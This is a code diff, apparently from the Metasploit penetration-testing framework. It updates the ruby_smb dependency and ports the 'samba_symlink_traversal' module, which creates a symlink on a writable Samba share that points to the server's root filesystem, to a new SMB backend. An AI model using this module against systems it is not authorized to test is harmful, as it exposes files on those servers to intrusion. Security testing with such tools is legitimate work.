diff --git a/Gemfile.lock b/Gemfile.lock index ff926fbbbb3d3..4e8111559b3d8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -612,7 +612,7 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.19) + ruby_smb (3.3.21) bindata (= 2.4.15) openssl-ccm openssl-cmac diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb index d79af366cd5a3..d4ac580abe2f8 100644 --- a/lib/rex/proto/smb/simple_client.rb +++ b/lib/rex/proto/smb/simple_client.rb @@ -279,7 +279,7 @@ def create_pipe(path, perm = 'o') def trans_pipe(fid, data, no_response = nil) session_lifetime do client.trans_named_pipe(fid, data, no_response) - end + end end def negotiated_smb_version diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 0d23da474befd..f7dcf368e0a70 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -50,17 +50,19 @@ def initialize def run print_status('Connecting to the server...') - connect(versions: [1]) + connect(versions: [1], backend: :ruby_smb) smb_login print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...") simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...") - simple.client.symlink(datastore['SMBTARGET'], '../' * 10) + simple.client.last_tree.set_unix_link(symlink: datastore['SMBTARGET'], target: '../' * 10) print_status('Now access the following share to browse the root filesystem:') - print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") - print_line('') + print_status(" \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\") + rescue RubySMB::Error::UnexpectedStatusCode => e + elog(e.message, error: e) + fail_with(Failure::UnexpectedReply, e.message) end end